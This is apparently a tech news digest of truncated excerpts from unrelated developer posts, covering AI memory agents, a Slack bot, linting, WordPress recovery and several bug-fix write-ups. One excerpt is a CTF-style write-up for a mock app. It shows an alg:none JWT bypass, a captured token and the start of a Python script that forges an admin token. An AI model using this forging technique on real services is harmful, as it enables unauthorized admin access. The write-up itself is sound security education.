AI 资讯

Most AI assistants forget everything after each session. Memoria remembers, forgets, and evolves—extracting personal facts, resolving contradictions, and reflecting on what it knows. This post shares the journey of building a production‑ready MemoryAgent for the Qwen Cloud Hackathon, Track 1 . Inspiration Every conversation with a typical chatbot starts from zero. You tell it you're allergic to peanuts on Monday, and by Wednesday it recommends pad thai with crushed peanuts. The model doesn't forget; it never had long‑term memory in the first place. Without durable knowledge about who you are, real personalisation is impossible. We built Memoria to solve that problem: a personal AI with human‑like memory that remembers what matters, forgets what fades, resolves contradictions, and evolves its understanding of you over time. Real memory isn't a bigger context window—it's extraction, prioritisation, decay, consolidation, and reflection. The hackathon challenged us to deliver a memory‑efficient, production‑grade MemoryAgent, and we built one from the ground up on Alibaba Cloud. What Memoria does Memoria organises knowledge in three deliberate tiers: Session Memory (Redis) – the last 10 messages of the active chat. Personal Memory (PostgreSQL 16 + pgvector) – user‑centric facts embedded with text-embedding-v3 , ranked by hybrid scoring, and subject to decay, consolidation, and conflict resolution. Context Archive – full transcripts stored for on‑demand search, never polluting routine retrieval. Other key features: Autonomous memory lifecycle : daily decay, weekly consolidation, and background reflection. Personal Intelligence toggle : global memory access vs. session‑only. Memory‑Less incognito mode : no memory reads or writes. MCP skills server : exposes get_core_memories , get_user_preferences , forget_memory , and strengthen_memory to any Qwen agent. Conflict detection & versioning : contradictory facts are automatically flagged and superseded. Persona customisation :

Over the past few months I built a side project that taught me more about production system design than any course. A Slack bot for deploy queue management. This isn't about the business side of it, it's a technical breakdown of the architecture decisions, the real problems I hit building a Slack app with NestJS, and what I learned solving each one. The problem Every engineering team has lived this. Two people deploy at the same time, one overwrites the other, and it turns into "who's touching prod right now?" shouted into a Slack channel. Sounds simple. Solving it properly across multiple teams, multiple environments, with timeouts, without ever locking anyone out, is not. Stack and why NestJS + TypeScript on the backend, PostgreSQL via Prisma, Redis + BullMQ for background jobs, @slack/bolt for the Slack integration. Choosing NestJS wasn't just preference. Its modular architecture (modules, providers, guards, interceptors) mapped really well to the domain. Every entity (Workspace, Project, Environment, Queue) became its own module, with the repository pattern keeping Prisma out of the business logic layer. The hardest problem: dynamic modals in Slack Block Kit Slack's Block Kit doesn't natively support a select input that reloads its options based on another select's value, within the same form. If you want "pick a project, then load that project's environments," there's no built-in prop for that. The solution combines two Bolt event types. A block_actions listener on the project select fetches the environments, then re-renders the whole modal via views.update : app . action ( ' project_select ' , async ({ ack , body , client }) => { await ack (); const selectedProjectId = body . actions [ 0 ]. selected_option . value ; const environments = await environmentService . findByProject ( selectedProjectId ); await client . views . update ({ view_id : body . view . id , view : buildModalWithEnvironments ( environments ), }); }); The detail that tripped me up the most: t

If your team has ever spent 20 minutes on a pull request arguing about brace placement instead of the actual bug, welcome to the club. StyleCop was the tool to keep C# codebases from turning into everyone's personal-style soup. It did its job. But it's also old, slow, and wasn't built for a world where half your codebase might be vibe coded. The good news: .NET now ships with everything you need to enforce style natively, faster, and without an extra NuGet package. This post walks through why the old approach creaks under modern workloads, and gives you a copy-pasteable migration plan to fix it. Table of Contents The Real Cost of Style Debates Quick Refresher: What Is StyleCop? Do We Even Need Linters Now That AI Writes Code? The Problem With StyleCop: It's Slow The Modern Toolbox The 3 Layer Guardrail Strategy Step by Step Migration Guide Before and After Seeing It In Action Key Takeaways Wrapping Up The Real Cost of Style Debates Nobody has ever gotten a promotion for winning a tabs-vs-spaces argument. Yet these debates eat real time: PR bikeshedding ,reviewers nitpick spacing instead of catching actual logic bugs. Noisy git diffs ,one developer's auto-formatter touches 300 lines to fix a 3-line bug. Cognitive overhead ,jumping between services that each "feel" different slows everyone down. A linter's whole job is to make these arguments boring and automatic, so humans can focus on things that actually matter,like whether the code works . Quick Refresher: What Is StyleCop? StyleCop (and its Roslyn-based version, StyleCop.Analyzers ) is a static analysis tool that checks the visual grammar of your C# code,not bugs, not security holes, just style: Are public members documented? Are namespaces organized consistently? Do braces follow the "approved" pattern? It's not checking if your code is correct . It's checking if your code looks correct. Do We Even Need Linters Now That AI Writes Code? Short answer: yes, more than ever. AI coding assistants (Copilot, Cursor, and

WordPress affiche une page blanche, un 403, ou la boucle de connexion infinie sur /wp-admin : voici le protocole de diagnostic que nous utilisons, dans l'ordre, avec les commandes exactes. 1. Identifier le type de blocage Trois familles de symptômes, trois causes différentes : 403 Forbidden : règle serveur ( .htaccess , WAF, IP bannie) ou cookies corrompus Boucle de redirection login : problème de cookies/HTTPS mal déclaré ( WP_HOME / WP_SITEURL ) Page blanche (WSOD) : erreur PHP fatale, souvent une extension ou le thème 2. Le fix express des cookies (cause n°1 du 403) Avant de toucher au serveur, videz les cookies du domaine et testez en navigation privée. Si ça passe en privé, c'est un cookie corrompu — pas le serveur. Le détail complet du mécanisme est dans notre guide WordPress erreur 403 et cookies bloqués . 3. Désactiver les extensions sans wp-admin # Via WP-CLI (le plus propre) wp plugin deactivate --all # Sans WP-CLI : renommer le dossier mv wp-content/plugins wp-content/plugins.off Si wp-admin revient, réactivez une par une pour isoler la coupable. 4. Vérifier .htaccess et les règles serveur Un .htaccess corrompu ou une règle de sécurité trop stricte bloque l'accès admin. Régénérez un fichier propre (Réglages → Permaliens, ou à la main). Pour générer des règles saines — protection wp-login, anti-hotlink, cache navigateur — sans risquer la syntaxe, nous maintenons un générateur de .htaccess WordPress gratuit . 5. Purger tous les caches (souvent oublié) Un cache de page qui sert une vieille version de wp-login provoque des boucles incompréhensibles. Purgez dans l'ordre : cache navigateur, cache de page (extension), cache serveur (LiteSpeed/Varnish), OPcache. La méthode complète par type de cache : comment vider le cache WordPress . 6. Le guide complet Chaque étape ci-dessus est développée (avec les cas 404 wp-admin, erreur critique, mot de passe perdu via WP-CLI et phpMyAdmin) dans notre guide de référence : accéder à wp-admin : connexion et administration Wo

A few months ago, I was searching for a backend engineering job. Every day looked the same: Open LinkedIn Open Naukri Search for Python jobs Open dozens of tabs Read every job description Apply Repeat The frustrating part wasn't finding jobs. It was finding the right jobs . I kept getting recommendations for roles that technically matched my resume because they contained words like Python , Backend , or API , but after reading the description I'd realize they wanted a completely different skill set. I started wondering: Why are job boards still matching keywords instead of understanding what a developer actually knows? That question eventually turned into a side project called Jobspiq . The Problem Imagine these two jobs: Job A Python FastAPI PostgreSQL Redis Job B Java Spring Boot Oracle Kafka Both are "Backend Engineer" roles. A keyword-based system often treats them as similar. As developers, we know they're not. What I Built Instead of matching keywords, I built a system that compares a developer's profile with a job description to understand how well they actually fit. The platform: Collects jobs from multiple sources. Removes duplicate postings. Scores every job based on how closely it matches your profile. Sends alerts only for high-quality matches. Helps track applications in one place. The goal isn't to show more jobs. It's to show fewer, better ones. What I Learned Building the product taught me something interesting. Writing the software was the easier part. Helping people discover it is much harder. That's why I'm starting to build in public and share what I'm learning along the way. If you've ever built search systems, recommendation engines, or developer tools, I'd love to hear your thoughts. You can check out the project here: https://jobspiq.in Feedback is always welcome.

I've been building a level editor for Quake 3 that runs entirely in the browser: Radiant-style layout, brush and patch editing, CSG, terrain sculpting, and entity editing. It opens and saves .map file and you can play the maps you build directly in the browser using a webassembly build of ioquake3.

A 360-degree camera is a great way to ensure you capture every bit of the action, but prices tend to be on the high end for models worth your attention. That’s why it’s notable that the GoPro Max 2 accessory bundle is discounted to $369 at Amazon (a dollar more at Best Buy and GoPro). […]

Some of my kitchen appliances are LG and I installed the LG ThinQ app on my phone. Sometimes I like to leave a cold dish in the oven before I go out then remotely start it when I’m on my way back home, so I arrive to a nice hot dinner. After a recent HN post about LG malware and further research, I decided to kick my appliances out of the network. I also tried to remove my user account just to find out that in order to use the app I need to first accept the new terms of use. I asked ChatGPT for

Now generally available, Pinecone Nexus is a "knowledge engine" for AI agents that transforms enterprise data into a structured layer agents can query directly. It enables teams to ingest and curate business context once for all, making it reusable across agents and reducing token costs while improving accuracy. By Sergio De Simone

TL;DR: Turn hours of raw GoPro footage + a .fit file into a 60-second highlight reel with ride telemetry burned in. Every second of the ride is scanned by gemini-3.5-flash, as is the clip ranking + curation. The whole thing costs about $0.04 per ride and takes 10 minutes. Longer version: Road cycling has been my primary form of exercise, social outlet, therapy, wardrobe expense, and personality trait for almost a decade. I ride most weekends, usually out of Manhattan and up 9W. By the end of a r

I run a scheduled agent that writes and publishes DEV.to articles twice a day. Step 5 of its instructions has always said the same thing: write the log entry, commit the drafts, push. I've read that line a dozen times without questioning it. This morning I actually checked what "commit the drafts" had been doing for the last month, across more than thirty published articles. The answer: nothing. Not once. the check that should have happened on day one The task instructions reference source files like drafts/scheduled-agent-shared-quota-no-memory.md and drafts/one-env-key-two-usernames.md in every log entry — real filenames, written by the agent, presumably sitting in the repo as a record of what was drafted before it got published. I went looking for one of them: $ git log --all -- drafts/ $ # (nothing) Empty. Not "one commit, then deleted later" — completely absent from git history since the very first commit in this repo. Every single run that logged "committed drafts + the log" had, in fact, only ever committed the log. why git let this happen silently .gitignore in this repo has listed drafts/ since the initial commit: . env __ pycache__ / *. pyc codes / drafts / . omc / . claude / CLAUDE . md That line predates the scheduled publishing task entirely — it was almost certainly written back when drafts were just scratch files someone edited by hand before a publish script existed. Nobody revisited it when the publishing task's instructions later started saying "commit the drafts." The instruction and the ignore rule have been quietly contradicting each other since before either was written by the same person in the same sitting. Here's what actually happens when a script (or an agent) runs git add drafts/whatever.md in this repo: $ git add drafts/gitignore-ate-my-drafts-folder.md The following paths are ignored by one of your .gitignore files: drafts hint: Use -f if you really want to add them. hint: Turn this message off by running hint: "git config advice.addIgn

This is a submission for DEV's Summer Bug Smash: Clear the Lineup . Project Overview Formbricks is an open-source survey and experience-management platform. Its packages/surveys package ships the client-side survey runner, and inside it, packages/surveys/src/lib/logic.ts is the module that decides, for every question and every "skip logic" / branching rule a survey author configures, whether a given condition ( equals , doesNotEqual , contains , isEmpty , and friends) is true for a respondent's answer. This is pure, unglamorous logic — but it's load-bearing: it's what routes respondents through the correct sequence of questions. I picked up issue #8527 for the "Clear the Lineup" track, which reports that doesNotEqual conditions weren't behaving correctly for single-choice questions. Bug Fix or Performance Improvement The doesNotEqual operator is supposed to be the exact logical negation of equals . For most answer shapes it was. But for MultipleChoiceSingle answers, the survey runtime sometimes represents the selected value as a single-element array rather than a bare string (this happens via getLeftOperandValue , e.g. when a choice answer is merged with an "other" option path). To handle that shape, both equals and doesNotEqual had a special-case clause that unwraps a one-element array and compares its only entry to the right-hand value. equals 's fallback: return ( ( Array . isArray ( leftValue ) && leftValue . length === 1 && typeof rightValue === " string " && leftValue . includes ( rightValue )) || leftValue === rightValue ); doesNotEqual 's fallback (before the fix): return ( ( Array . isArray ( leftValue ) && leftValue . length === 1 && typeof rightValue === " string " && ! leftValue . includes ( rightValue )) || leftValue !== rightValue ); At a glance this looks like a faithful "negate every sub-expression" mirror of equals . It isn't. The array-includes clause was correctly inverted ( !leftValue.includes(rightValue) ), but the second disjunct, leftValue !==

Summary NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request. Recon Logged in as a normal user ( strawhat ) and captured the request to /famctf/dashboard : Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME Decoding the JWT: Header { "alg" : "HS256" , "typ" : "JWT" } Payload { "sub" : "strawhat" , "role" : "user" } The dashboard UI showed an "Admin Vault" card locked behind Admin only , confirming role was the authorization check. Attempt 1 - Naive tampering (failed) Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself. Attempt 2 - alg:none bypass (success) Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none , an attacker can forge any payload with zero knowledge of the signing secret. Forged header: { "alg" : "none" , "typ" : "JWT" } Forged payload: { "sub" : "strawhat" , "role" : "admin" } Forging Script import base64 , json def b64url ( data : bytes ) -> str : return base64 . urlsafe_b64encode ( data ). rstrip ( b ' = ' ). decode () header = { " alg " : " none " , " typ " : " JWT " } payload = { " sub " : " strawhat " , " role " : " admin " } h = b64url ( json . dumps ( header , separators = ( ' , ' , ' : ' )). encode ()) p = b64url ( json . dumps ( payload , separators = ( ' , ' ,

What launched Stashr started as an invite-only waitlist, then opened up as a free public beta . Today it leaves beta for good. That means three things: It's a finished product, not a preview. Everything the beta promised as "coming next" is live: AI tagging, meaning-based search across your media, and a full agent stack. Nothing on this page is a maybe. Pricing is real. Stashr is now a paid app with a 7-day free trial and no permanent free tier. More on the plans below. It's stable. Thousands of saves, big bulk imports, deleted-post edge cases, and the weird stuff you all threw at it during beta are handled. Thank you for breaking it. It's much sturdier for it. If you're new here, the fastest way in is to [create an account(/signup), install the browser extension , and keep saving the way you already do. What Stashr actually is In one line: it's a capture-first bookmark manager. The moment you save something on any platform, Stashr copies the full post into a private library that's genuinely yours, then tags it and makes it searchable in plain English. That "copy" part is the whole point. A normal bookmark is just a pointer at someone else's servers. The day the author deletes the post, goes private, or gets suspended, your save resolves to nothing. Stashr keeps a real copy, so what you saved is still there months later even when the original is gone. If you've ever wondered where your saved posts actually go or watched your links quietly rot into 404s , that's the gap this closes. It works in three moves: Capture A browser extension watches for saves on the platforms you already use. Bookmark on X , favorite on TikTok , save on Reddit , tap the ribbon on Instagram , exactly as you always have, and the full post lands in Stashr automatically. You don't change a single habit. A bulk import pulls in the backlog you already built too. Organize Every save is read and auto-tagged by AI on the way in, so the filing happens for you. No folders to babysit, no tagging discip

This is a submission for DEV's Summer Bug Smash: Clear the Lineup . Project Overview Typst is the Rust-based markup typesetting system that's been quietly eating LaTeX's lunch for the last couple of years — you write plain-text markup, Typst compiles it to PDF (or HTML) with a real incremental compiler underneath instead of a multi-pass macro soup. Part of what makes it pleasant is that it exposes its own evaluator to itself: a document can call #eval("some typst code") and get back whatever that code produces, at runtime, inside the document being compiled. It's a small feature, but it opens up a surprisingly deep rabbit hole, which is exactly where this bug was hiding. Bug Fix or Performance Improvement The problem: typst/typst#8632 reports that Typst crashes instead of erroring when #eval is used to recursively re-import the file it's running in. The repro is one line. Save this as overflow.typ : #eval("import \"overflow.typ\"") Then: $ ./target/debug/typst compile overflow.typ overflow.pdf thread 'main' (750833) has overflowed its stack fatal runtime error: stack overflow, aborting No PDF, no diagnostic, no exit code you can act on — just a native stack overflow and a SIGABRT. Typst has had cyclic-import detection since forever; a normal top-level import "overflow.typ" inside itself gets caught cleanly with an error: cyclic import message. Something about routing the import through #eval specifically was bypassing that check. The hunt I'll be upfront about how this investigation actually went: I worked through it with Claude (Anthropic's coding agent) rather than solo. The triage pass it did before I sat down with the code had already narrowed the search to one function — eval_string in crates/typst-eval/src/lib.rs — and named the suspect line. That's a big head start, but a named suspect isn't a confirmed root cause, so the actual work was reading that function next to its sibling, the file-level eval() a few lines above it, and checking the claim against the s

As a developer, I got a bit scared and fed-up of blindly merging massive pull requests and losing context on my own codebase, so I built FluencyLoop . https://github.com/baokhang83/fluencyloop It is an open-source, local-first workflow plugin for Claude Code and Codex that ensures your code and your codebase fluency are produced together. Instead of letting an agent dump raw code, it tracks your technical familiarity locally and pauses to explain complex architectural choices or rejected alternatives only on topics you do not know yet. It also produces documentation and tracks the decisions it makes along the way. Try it out ! It feels really good to get the AI caring for my understanding 🤣

The problem with "just add another tool" When you're building one image tool, performance is easy. When you're building 71 of them in the same app — resize, compress, crop, PDF merge, format converters, exam-photo presets, social media templates — the naive approach (import everything, bundle it all together) turns your app into a multi-megabyte JavaScript payload before a user has even picked a tool. This is the actual engineering problem behind ResizeHub , which now has 71+ tools across 11 categories, all running client-side with zero server uploads. Here's how the architecture holds up at that scale. Stack, and why each piece earns its place React + TypeScript — type safety matters more, not less, as tool count grows. A shared ImageProcessor interface that every tool implements catches integration bugs at compile time instead of in production. Vite — its native ES modules dev server and Rollup-based production build made code-splitting dramatically easier to reason about than older bundlers, which matters a lot once you have dozens of independent tool routes. HTML5 Canvas API — the actual compression/resize/crop engine, shared across tools rather than reimplemented per-tool. Cropper.js — for interactive cropping UI specifically (aspect-ratio locking, circular crop for signatures) rather than rebuilding drag-handle math from scratch. Pica — for high-quality image downscaling; the browser's native canvas scaling can introduce visible aliasing on large downscales, and Pica's algorithm handles this noticeably better. Cloudflare Pages — static hosting with edge caching, which matters since 100% of the actual processing work happens in the user's browser, not on any server at all. Lesson 1: Route-level code splitting isn't optional past a handful of tools With React Router and dynamic import() , each tool becomes its own chunk: const PhotoResizer = lazy (() => import ( ' ./tools/PhotoResizer ' )); const PdfCompressor = lazy (() => import ( ' ./tools/PdfCompressor ' ));

A closer look at why companies like EvenUp are difficult to compete with, and what this means for the future of AI-powered legal technology. Introduction A few weeks ago, I went down a rabbit hole trying to understand how EvenUp built one of the most successful AI products in personal injury law. Like many people, I assumed the competitive advantage would come from a proprietary large language model, sophisticated prompt engineering, or some secret AI architecture hidden behind the scenes. Instead, I found something much less glamorous—but far more valuable. There is no magical prompt. There is no proprietary model that nobody else can build. The real competitive advantage is data. Hundreds of thousands of real personal injury cases. Millions of medical records. Actual settlement outcomes connected to real case facts. Years of attorney corrections, paralegal feedback, negotiations, settlements, and litigation outcomes—all continuously improving the system. Once you realize this, you begin to see the same pattern across almost every successful vertical AI company. The model is rarely the moat. The data is. Why "AI for X" is mostly noise right now Today, almost every industry has dozens of startups claiming to build: AI for law firms AI for healthcare AI for accounting AI for insurance AI for real estate Scratch beneath the surface, however, and many of these companies are built on the same foundation: GPT Claude Gemini Llama The underlying model changes every few months. The interface changes. The branding changes. The product positioning changes. But underneath, many products are simply orchestration layers around publicly available foundation models. That isn't inherently bad. Good user experience matters. Workflow automation matters. Tool integrations matter. But none of those create a durable competitive advantage. Anyone with API access, a competent engineering team, and enough time can recreate that layer. What they cannot recreate overnight is years of proprie